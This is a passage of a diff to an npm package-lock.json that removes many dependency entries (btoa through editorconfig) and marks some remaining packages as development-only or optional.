"btoa": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/btoa/-/btoa-1.2.1.tgz", +- "integrity": "sha512-SB4/MIGlsiVkMcHmT+pSmIPoNDoHg+7cMzmt3Uxt628MTz2487DKSqK/fuhFBrkuqrYv5UCEnACpF4dTFNKc/g==" +- }, + "buffer": { + "version": "4.9.2", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-4.9.2.tgz", +@@ -47388,11 +38554,6 @@ + "resolved": "https://registry.npmjs.org/buffer-indexof-polyfill/-/buffer-indexof-polyfill-1.0.2.tgz", + "integrity": "sha512-I7wzHwA3t1/lwXQh+A5PbNvJxgfo5r3xulgpYDB5zckTu/Z9oUK9biouBKQUjEqzaz3HnAT6TYoovmE+GqSf7A==" + }, +- "buffer-writer": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/buffer-writer/-/buffer-writer-2.0.0.tgz", +- "integrity": "sha512-a7ZpuTZU1TRtnwyCNW3I5dc0wWNC3VR9S++Ewyk2HHZdrO3CQJqSpd+95Us590V6AL7JqUAH2IwZ/398PmNFgw==" +- }, + "bufferedstream": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/bufferedstream/-/bufferedstream-1.6.0.tgz", +@@ -47535,11 +38696,6 @@ + } + } + }, +- "byline": { +- "version": "4.2.2", +- "resolved": "https://registry.npmjs.org/byline/-/byline-4.2.2.tgz", +- "integrity": "sha1-wgOpilsCkIIqk4anjtosvVvNsy8=" +- }, + "bytes": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", +@@ -47597,22 +38753,6 @@ + } + } + }, +- "cache-base": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/cache-base/-/cache-base-1.0.1.tgz", +- "integrity": "sha512-AKcdTnFSWATd5/GCPRxr2ChwIJ85CeyrEyjRHlKxQ56d4XJMGym0uAiKn0xbLOGOl3+yRpOTi484dVCEc5AUzQ==", +- "requires": { +- "collection-visit": "^1.0.0", +- "component-emitter": "^1.2.1", +- "get-value": "^2.0.6", +- "has-value": "^1.0.0", +- "isobject": "^3.0.1", +- "set-value": "^2.0.0", +- "to-object-path": "^0.3.0", +- "union-value": "^1.0.0", +- "unset-value": "^1.0.0" +- } +- }, + "cache-flow": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/cache-flow/-/cache-flow-1.8.0.tgz", +@@ -47645,40 +38785,6 @@ + } + } + }, +- "cacheable-request": { +- "version": "6.1.0", +- "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz", +- "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==", +- "requires": { +- "clone-response": "^1.0.2", +- "get-stream": "^5.1.0", +- "http-cache-semantics": "^4.0.0", +- "keyv": "^3.0.0", +- "lowercase-keys": "^2.0.0", +- "normalize-url": "^4.1.0", +- "responselike": "^1.0.2" +- }, +- "dependencies": { +- "get-stream": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", +- "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", +- "requires": { +- "pump": "^3.0.0" +- } +- }, +- "lowercase-keys": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz", +- "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==" +- }, +- "normalize-url": { +- "version": "4.5.1", +- "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.1.tgz", +- "integrity": "sha512-9UZCFRHQdNrfTpGg8+1INIg93B6zE0aXMVFkw1WFwvO4SlZywU6aLg5Of0Ap/PgcbSw4LNxvMWXMeugwMCX0AA==" +- } +- } +- }, + "cachedir": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz", +@@ -47736,24 +38842,8 @@ + "camelcase": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", +- "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==" +- }, +- "camelcase-keys": { +- "version": "4.2.0", +- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-4.2.0.tgz", +- "integrity": "sha1-oqpfsa9oh1glnDLBQUJteJI7m3c=", +- "requires": { +- "camelcase": "^4.1.0", +- "map-obj": "^2.0.0", +- "quick-lru": "^1.0.0" +- }, +- "dependencies": { +- "camelcase": { +- "version": "4.1.0", +- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-4.1.0.tgz", +- "integrity": "sha1-1UVjW+HjPFQmScaRc+Xeas+uNN0=" +- } +- } ++ "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", ++ "dev": true + }, + "camelize": { + "version": "1.0.0", +@@ -47791,17 +38881,6 @@ + "lodash": "^4.17.15" + } + }, +- "celebrate": { +- "version": "12.2.0", +- "resolved": "https://registry.npmjs.org/celebrate/-/celebrate-12.2.0.tgz", +- "integrity": "sha512-dkcQaUL4zrPOua/NwTM74jf/NY3wv9Fyb1mkC2ru75KRHowSIDe/tJtIG9yRyPyFCfkr1odif8zNQq23eTwEYg==", +- "requires": { +- "@hapi/joi": "17.x.x", +- "@types/hapi__joi": "17.x.x", +- "escape-html": "1.0.3", +- "lodash": "4.17.x" +- } +- }, + "chai": { + "version": "4.3.6", + "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.6.tgz", +@@ -47835,21 +38914,6 @@ + "fclone": "^1.0.11" + } + }, +- "chai-http": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/chai-http/-/chai-http-4.3.0.tgz", +- "integrity": "sha512-zFTxlN7HLMv+7+SPXZdkd5wUlK+KxH6Q7bIEMiEx0FK3zuuMqL7cwICAQ0V1+yYRozBburYuxN1qZstgHpFZQg==", +- "dev": true, +- "requires": { +- "@types/chai": "4", +- "@types/superagent": "^3.8.3", +- "cookiejar": "^2.1.1", +- "is-ip": "^2.0.0", +- "methods": "^1.1.2", +- "qs": "^6.5.1", +- "superagent": "^3.7.0" +- } +- }, + "chainsaw": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/chainsaw/-/chainsaw-0.1.0.tgz", +@@ -47908,11 +38972,6 @@ + "integrity": "sha1-FCD/sQ/URNz8ebQ4kbv//TKoRgA=", + "dev": true + }, +- "check-types": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/check-types/-/check-types-5.1.0.tgz", +- "integrity": "sha1-NzlN07YEKlEVXpJsOpF1PUmeXcg=" +- }, + "cheerio": { + "version": "1.0.0-rc.10", + "resolved": "https://registry.npmjs.org/cheerio/-/cheerio-1.0.0-rc.10.tgz", +@@ -47972,78 +39031,6 @@ + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + }, +- "class-utils": { +- "version": "0.3.6", +- "resolved": "https://registry.npmjs.org/class-utils/-/class-utils-0.3.6.tgz", +- "integrity": "sha512-qOhPa/Fj7s6TY8H8esGu5QNpMMQxz79h+urzrNYN6mn+9BnxlDGf5QZ+XeCDsxSjPqsSR56XOZOJmpeurnLMeg==", +- "requires": { +- "arr-union": "^3.1.0", +- "define-property": "^0.2.5", +- "isobject": "^3.0.0", +- "static-extend": "^0.1.1" +- }, +- "dependencies": { +- "define-property": { +- "version": "0.2.5", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", +- "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", +- "requires": { +- "is-descriptor": "^0.1.0" +- } +- }, +- "is-accessor-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", +- "integrity": "sha1-qeEss66Nh2cn7u84Q/igiXtcmNY=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-data-descriptor": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-0.1.4.tgz", +- "integrity": "sha1-C17mSDiOLIYCgueT8YVv7D8wG1Y=", +- "requires": { +- "kind-of": "^3.0.2" +- }, +- "dependencies": { +- "kind-of": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", +- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", +- "requires": { +- "is-buffer": "^1.1.5" +- } +- } +- } +- }, +- "is-descriptor": { +- "version": "0.1.6", +- "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-0.1.6.tgz", +- "integrity": "sha512-avDYr0SB3DwO9zsMov0gKCESFYqCnE4hq/4z3TdUlukEy5t9C0YRq7HLrsN52NAcqXKaepeCD0n+B0arnVG3Hg==", +- "requires": { +- "is-accessor-descriptor": "^0.1.6", +- "is-data-descriptor": "^0.1.4", +- "kind-of": "^5.0.0" +- } +- }, +- "kind-of": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz", +- "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw==" +- } +- } +- }, + "classnames": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.3.1.tgz", +@@ -48075,33 +39062,12 @@ + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/cli/-/cli-1.0.1.tgz", + "integrity": "sha1-IoF1NPJL+klQw01TLUjsvGIbjBQ=", ++ "dev": true, + "requires": { + "exit": "0.1.2", + "glob": "^7.1.1" + } + }, +- "cli-color": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/cli-color/-/cli-color-1.4.0.tgz", +- "integrity": "sha512-xu6RvQqqrWEo6MPR1eixqGPywhYBHRs653F9jfXB2Hx4jdM/3WxiNE1vppRmxtMIfl16SFYTpYlrnqH/HsK/2w==", +- "dev": true, +- "requires": { +- "ansi-regex": "^2.1.1", +- "d": "1", +- "es5-ext": "^0.10.46", +- "es6-iterator": "^2.0.3", +- "memoizee": "^0.4.14", +- "timers-ext": "^0.1.5" +- }, +- "dependencies": { +- "ansi-regex": { +- "version": "2.1.1", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", +- "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", +- "dev": true +- } +- } +- }, + "cli-cursor": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/cli-cursor/-/cli-cursor-3.1.0.tgz", +@@ -48186,14 +39152,6 @@ + "shallow-clone": "^3.0.0" + } + }, +- "clone-response": { +- "version": "1.0.2", +- "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", +- "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", +- "requires": { +- "mimic-response": "^1.0.0" +- } +- }, + "clone-stats": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/clone-stats/-/clone-stats-1.0.0.tgz", +@@ -48243,15 +39201,6 @@ + } + } + }, +- "cls-bluebird": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/cls-bluebird/-/cls-bluebird-2.1.0.tgz", +- "integrity": "sha1-N+8eCAqP+1XC9BZPU28ZGeeWiu4=", +- "requires": { +- "is-bluebird": "^1.0.2", +- "shimmer": "^1.1.0" +- } +- }, + "cluster": { + "version": "0.7.7", + "resolved": "https://registry.npmjs.org/cluster/-/cluster-0.7.7.tgz", +@@ -48313,15 +39262,6 @@ + "stream-via": "^1.0.4" + } + }, +- "collection-visit": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/collection-visit/-/collection-visit-1.0.0.tgz", +- "integrity": "sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=", +- "requires": { +- "map-visit": "^1.0.0", +- "object-visit": "^1.0.0" +- } +- }, + "color-alpha": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/color-alpha/-/color-alpha-1.1.3.tgz", +@@ -48364,11 +39304,6 @@ + "integrity": "sha512-Uqbg+J445nc1TKn4FoDPS6ZZqAvEDnwrH42yo8B40JSOgSLxMZ/gt3h4nmCtPLQeXhjJJkqBx7SCY35WnIixaQ==", + "dev": true + }, +- "colorette": { +- "version": "1.2.1", +- "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", +- "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==" +- }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/colors/-/colors-1.4.0.tgz", +@@ -48488,7 +39423,8 @@ + "component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", +- "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==" ++ "integrity": "sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==", ++ "dev": true + }, + "compress-commons": { + "version": "4.1.1", +@@ -48592,39 +39528,6 @@ + } + } + }, +- "config": { +- "version": "1.31.0", +- "resolved": "https://registry.npmjs.org/config/-/config-1.31.0.tgz", +- "integrity": "sha512-Ep/l9Rd1J9IPueztJfpbOqVzuKHQh4ZODMNt9xqTYdBBNRXbV4oTu34kCkkfdRVcDq0ohtpaeXGgb+c0LQxFRA==", +- "requires": { +- "json5": "^1.0.1" +- }, +- "dependencies": { +- "json5": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", +- "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", +- "requires": { +- "minimist": "^1.2.0" +- } +- }, +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- } +- } +- }, +- "config-chain": { +- "version": "1.1.13", +- "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.13.tgz", +- "integrity": "sha512-qj+f8APARXHrM0hraqXYb2/bOVSV4PvJQlNZ/DVj0QrmNM2q2euizkeuVckQ57J+W0mRH6Hvi+k50M4Jul2VRQ==", +- "dev": true, +- "requires": { +- "ini": "^1.3.4", +- "proto-list": "~1.2.1" +- } +- }, + "config-master": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/config-master/-/config-master-3.1.0.tgz", +@@ -48862,11 +39765,6 @@ + "integrity": "sha512-Alvs19Vgq07eunykd3Xy2jF0/qSNv2u7KDbAek9H5liV1UMijbqFs5cycZvv5dVsvseT/U4H8/7/w8Koh35C4A==", + "dev": true + }, +- "cookiejar": { +- "version": "2.1.3", +- "resolved": "https://registry.npmjs.org/cookiejar/-/cookiejar-2.1.3.tgz", +- "integrity": "sha512-JxbCBUdrfr6AQjOXrxoTvAMJO4HBTUIlBzslcJPAz+/KT8yk53fXun51u+RenNYvad/+Vc2DIz5o9UxlCDymFQ==" +- }, + "copy-anything": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/copy-anything/-/copy-anything-2.0.6.tgz", +@@ -48876,11 +39774,6 @@ + "is-what": "^3.14.1" + } + }, +- "copy-descriptor": { +- "version": "0.1.1", +- "resolved": "https://registry.npmjs.org/copy-descriptor/-/copy-descriptor-0.1.1.tgz", +- "integrity": "sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=" +- }, + "core-js": { + "version": "3.21.1", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.21.1.tgz", +@@ -48974,14 +39867,6 @@ + "moment-timezone": "^0.5.31" + } + }, +- "cross-fetch": { +- "version": "3.1.5", +- "resolved": "https://registry.npmjs.org/cross-fetch/-/cross-fetch-3.1.5.tgz", +- "integrity": "sha512-lvb1SBsI0Z7GDwmuid+mU3kWVBwTVUbe7S0H52yaaAdQOXq2YktTCZdlAcNKFzE6QtRz0snpw9bNiPeOIkkQvw==", +- "requires": { +- "node-fetch": "2.6.7" +- } +- }, + "cross-spawn": { + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", +@@ -49139,47 +40024,6 @@ + } + } + }, +- "csv": { +- "version": "5.5.3", +- "resolved": "https://registry.npmjs.org/csv/-/csv-5.5.3.tgz", +- "integrity": "sha512-QTaY0XjjhTQOdguARF0lGKm5/mEq9PD9/VhZZegHDIBq2tQwgNpHc3dneD4mGo2iJs+fTKv5Bp0fZ+BRuY3Z0g==", +- "requires": { +- "csv-generate": "^3.4.3", +- "csv-parse": "^4.16.3", +- "csv-stringify": "^5.6.5", +- "stream-transform": "^2.1.3" +- } +- }, +- "csv-generate": { +- "version": "3.4.3", +- "resolved": "https://registry.npmjs.org/csv-generate/-/csv-generate-3.4.3.tgz", +- "integrity": "sha512-w/T+rqR0vwvHqWs/1ZyMDWtHHSJaN06klRqJXBEpDJaM/+dZkso0OKh1VcuuYvK3XM53KysVNq8Ko/epCK8wOw==" +- }, +- "csv-parse": { +- "version": "4.16.3", +- "resolved": "https://registry.npmjs.org/csv-parse/-/csv-parse-4.16.3.tgz", +- "integrity": "sha512-cO1I/zmz4w2dcKHVvpCr7JVRu8/FymG5OEpmvsZYlccYolPBLoVGKUHgNoc4ZGkFeFlWGEDmMyBM+TTqRdW/wg==" +- }, +- "csv-parser": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/csv-parser/-/csv-parser-3.0.0.tgz", +- "integrity": "sha512-s6OYSXAK3IdKqYO33y09jhypG/bSDHPuyCme/IdEHfWpLf/jKcpitVFyOC6UemgGk8v7Q5u2XE0vvwmanxhGlQ==", +- "requires": { +- "minimist": "^1.2.0" +- }, +- "dependencies": { +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- } +- } +- }, +- "csv-stringify": { +- "version": "5.6.5", +- "resolved": "https://registry.npmjs.org/csv-stringify/-/csv-stringify-5.6.5.tgz", +- "integrity": "sha512-PjiQ659aQ+fUTQqSrd1XEDnOr52jh30RBurfzkscaE2tPaFsDH5wOAHJiw8XAHphRknCwMUE9KRayc4K/NbO8A==" +- }, + "cuid": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/cuid/-/cuid-2.1.8.tgz", +@@ -49467,11 +40311,6 @@ + "integrity": "sha512-7P3FyqDcfeznLZp2b+OMitV9Sz2lUnsT87WaTat9nVwqsBkTzPG3lPLNwW3en6F4pHUiWzr6vb8CLhjdK9bcxQ==", + "dev": true + }, +- "date-utils": { +- "version": "1.2.21", +- "resolved": "https://registry.npmjs.org/date-utils/-/date-utils-1.2.21.tgz", +- "integrity": "sha1-YfsWzcEnSzyayq/+n8ad+HIKK2Q=" +- }, + "dateformat": { + "version": "1.0.4-1.2.3", + "resolved": "https://registry.npmjs.org/dateformat/-/dateformat-1.0.4-1.2.3.tgz", +@@ -49522,19 +40361,6 @@ + "integrity": "sha512-V0pfhfr8suzyPGOx3nmq4aHqabehUZn6Ch9kyFpV79TGDTWFmHqUqXdabR7QHqxzrYolF4+tVmJhUG4OURg5dQ==", + "dev": true + }, +- "decode-uri-component": { +- "version": "0.2.0", +- "resolved": "https://registry.npmjs.org/decode-uri-component/-/decode-uri-component-0.2.0.tgz", +- "integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=" +- }, +- "decompress-response": { +- "version": "3.3.0", +- "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz", +- "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=", +- "requires": { +- "mimic-response": "^1.0.0" +- } +- }, + "deep-eql": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-3.0.1.tgz", +@@ -49561,7 +40387,8 @@ + "deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", +- "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==" ++ "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", ++ "dev": true + }, + "deep-is": { + "version": "0.1.4", +@@ -49572,7 +40399,8 @@ + "deepmerge": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz", +- "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==" ++ "integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==", ++ "dev": true + }, + "default-gateway": { + "version": "6.0.3", +@@ -49592,11 +40420,6 @@ + "strip-bom": "^4.0.0" + } + }, +- "defer-to-connect": { +- "version": "1.1.3", +- "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz", +- "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==" +- }, + "define-lazy-prop": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-2.0.0.tgz", +@@ -49611,15 +40434,6 @@ + "object-keys": "^1.0.12" + } + }, +- "define-property": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz", +- "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==", +- "requires": { +- "is-descriptor": "^1.0.2", +- "isobject": "^3.0.1" +- } +- }, + "del": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/del/-/del-6.0.0.tgz", +@@ -49688,14 +40502,6 @@ + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=" + }, +- "democracy": { +- "version": "3.1.3", +- "resolved": "https://registry.npmjs.org/democracy/-/democracy-3.1.3.tgz", +- "integrity": "sha512-8mvV1WelrEb5/vbXhIxSKCcn5ryErS4Dbscl0y158IsCjaI4kJHZ9fV+rbxztf/ZxJUSRpRB/ow1NBw6bxYoxg==", +- "requires": { +- "shortid": "2.2.14" +- } +- }, + "denque": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/denque/-/denque-1.5.1.tgz", +@@ -49706,21 +40512,11 @@ + "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.2.tgz", + "integrity": "sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=" + }, +- "deprecation": { +- "version": "2.3.1", +- "resolved": "https://registry.npmjs.org/deprecation/-/deprecation-2.3.1.tgz", +- "integrity": "sha512-xmHIy4F3scKVwMsQ4WnVaS8bHOx0DmVwRywosKhaILI0ywMDWPtBSku2HNxRvF7jtwDRsoEwYQSfbxj8b7RlJQ==" +- }, + "destroy": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/destroy/-/destroy-1.0.4.tgz", + "integrity": "sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=" + }, +- "detect-file": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz", +- "integrity": "sha1-8NZtA2cqglyxtzvbP+YjEMjlUrc=" +- }, + "detect-libc": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz", +@@ -50009,11 +40805,6 @@ + "is-obj": "^2.0.0" + } + }, +- "dottie": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/dottie/-/dottie-2.0.2.tgz", +- "integrity": "sha512-fmrwR04lsniq/uSr8yikThDTrM7epXHBAAjH9TbeH3rEA8tdCO7mRzB9hdmdGyJCxF8KERo9CITcm3kGuoyMhg==" +- }, + "double-ended-queue": { + "version": "2.1.0-0", + "resolved": "https://registry.npmjs.org/double-ended-queue/-/double-ended-queue-2.1.0-0.tgz", +@@ -50031,18 +40822,11 @@ + "tslib": "^2.3.0" + } + }, +- "dropbox": { +- "version": "10.24.0", +- "resolved": "https://registry.npmjs.org/dropbox/-/dropbox-10.24.0.tgz", +- "integrity": "sha512-/BalM59Bj0unsLThGjfRg0ga7o6gL+Z4U6vv7UjhLlIfxoE+RMx52C4ihbkeSgbxeSvSqv9Tvnj99Lx4SBeNFA==", +- "requires": { +- "node-fetch": "^2.6.1" +- } +- }, + "dtrace-provider": { + "version": "0.8.8", + "resolved": "https://registry.npmjs.org/dtrace-provider/-/dtrace-provider-0.8.8.tgz", + "integrity": "sha512-b7Z7cNtHPhH9EJhNNbbeqTcXB8LGFFZhq1PGgEvpeHlzd36bhbdTWoE/Ba/YguqpBSlAPKnARWhVlhunCMwfxg==", ++ "optional": true, + "requires": { + "nan": "^2.14.0" + } +@@ -50084,11 +40868,6 @@ + } + } + }, +- "duplexer3": { +- "version": "0.1.4", +- "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz", +- "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=" +- }, + "duplexify": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-3.7.1.tgz", +@@ -50182,48 +40961,6 @@ + "safe-buffer": "^5.0.1" + } + }, +- "editorconfig": { +- "version": "0.15.3", +- "resolved": "https://registry.npmjs.org/editorconfig/-/editorconfig-0.15.3.tgz", +- "integrity": "sha512-M9wIMFx96vq0R4F+gRpY3o2exzb8hEj/n9S8unZtHSvYjibBp/iMufSzvmOcV/laG0ZtuTVGtiJggPOSW2r93g==", +- "dev": true, +- "requires": { +- "commander": "^2.19.0", +- "lru-cache": "^4.1.5", +- "semver": "^5.6.0", +- "sigmund": "^1.0.1" +- }, +- "dependencies": { +- "commander": { +- "version": "2.20.3", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", +- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", +- "dev": true +- }, +- "lru-cache": { +- "version": "4.1.5", +- "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.5.tgz", +- "integrity": "sha512-sWZlbEP2OsHNkXrMl5GYk/jKk70MBng6UU4YI/qGDYbgf6YbP4EvmqISbXCoJiRKs+1bSpFHVgQxvJ17F2li5g==", +- "dev": true, +- "requires": { +- "pseudomap": "^1.0.2", +- "yallist": "^2.1.2" +- } +- }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "dev": true +- }, +- "yallist": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz", +- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=", +- "dev": true +- } +- } +- }, + "ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", +@@ -50232,7 +40969,8 @@ + "ejs": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-2.5.5.tgz", +- "integrity": "sha1-bvTpVOp9z1T2aq0v56pCGTLZ7Xc=" ++ "integrity": 